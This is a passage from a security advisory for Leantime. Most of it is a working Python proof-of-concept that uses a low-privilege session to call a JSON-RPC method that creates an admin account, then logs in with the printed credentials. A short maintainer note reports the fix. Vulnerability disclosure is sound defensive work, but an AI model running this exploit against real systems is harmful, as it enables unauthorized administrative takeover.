Advisory

GHSA-54mm-6729-r5wp

Details, part 2 of 2. The advisory

Details

check_resp = s.get(f"{base_url}{args.admin_check_path}", allow_redirects=False)
if check_resp.status_code == 403:
print(f"[+] Confirmed: web UI correctly blocks this account from {args.admin_check_path} (HTTP 403).")
else:
print(f"[!] Expected HTTP 403 from {args.admin_check_path}, got {check_resp.status_code}. "
f"Continuing anyway, but this account may not be low-privilege as assumed.")

# Step 3: the actual privilege escalation -- same session, no API key used.
print("[*] Calling leantime.rpc.api.api.createApiKeyWithProjects with role=40 (admin) "
"using ONLY the low-privilege session from step 1 ...")
esc_resp = rpc_call(
s,
base_url,
"leantime.rpc.api.api.createApiKeyWithProjects",
{"values": {"firstname": "poc-escalated-admin-key", "role": 40, "status": "a"}, "projects": []},
)

try:
esc_json = esc_resp.json()
except ValueError:
print(f"[!] Non-JSON response (HTTP {esc_resp.status_code}): {esc_resp.text[:500]}")
sys.exit(1)

if "error" in esc_json:
print(f"[!] Exploit call failed: {esc_json['error']}")
print(" (If this is 'Method is not available via API' or an AuthorizationException, "
"the target may already be patched.)")
sys.exit(1)

result = esc_json["result"]
new_user = result["user"]
new_pass = result["passwordClean"]
new_role = result["role"]
new_id = result["id"]
api_key = f"lt_{new_user}_{new_pass}"

print("[+] VULNERABLE: server created a new account with attacker-chosen role, "
"with no permission check on the calling (low-privilege) account.")
print(f" New account id={new_id} role={new_role} (40 == admin)")
print(f" Generated credentials -- username: {new_user} password: {new_pass}")
print(f" (Nominal API key form: {api_key} -- see note below.)")

# Step 4: prove the new account carries real, interactive admin privilege
# by logging in through the ORDINARY web login form and hitting the same
# admin-only page that blocked the original low-privilege account.
print("[*] Logging in through the normal web UI with the generated credentials ...")
admin_session = requests.Session()
admin_session.verify = verify
admin_session.get(f"{base_url}/auth/login")
admin_login_resp = admin_session.post(
f"{base_url}/auth/login",
data={"username": new_user, "password": new_pass, "redirectUrl": "/dashboard/home"},
allow_redirects=False,
)
if admin_login_resp.status_code not in (302, 303):
print(f"[!] Web login with generated credentials failed (HTTP {admin_login_resp.status_code}).")
sys.exit(1)

admin_check_resp = admin_session.get(f"{base_url}{args.admin_check_path}", allow_redirects=False)
if admin_check_resp.status_code == 200:
print(f"[+] CONFIRMED: the account created by a LOW-PRIVILEGE user now has full, "
f"interactive admin access to {args.admin_check_path} (HTTP 200) -- "
f"the exact page that returned 403 for the original account in step 2.")
else:
print(f"[!] Expected HTTP 200 from {args.admin_check_path} with the escalated account, "
f"got {admin_check_resp.status_code}.")

if __name__ == "__main__":
main()


---

**Maintainer note (resolution):** Addressed by the native permission engine (v3.9.0): the affected JSON-RPC service methods now carry #[RequiresPermission] and are enforced at the API boundary (users/clients/projects mutations require the appropriate permission; self-escalation via editUser/patchUser is blocked). Remaining gates ship in the upcoming release.

Sources & licences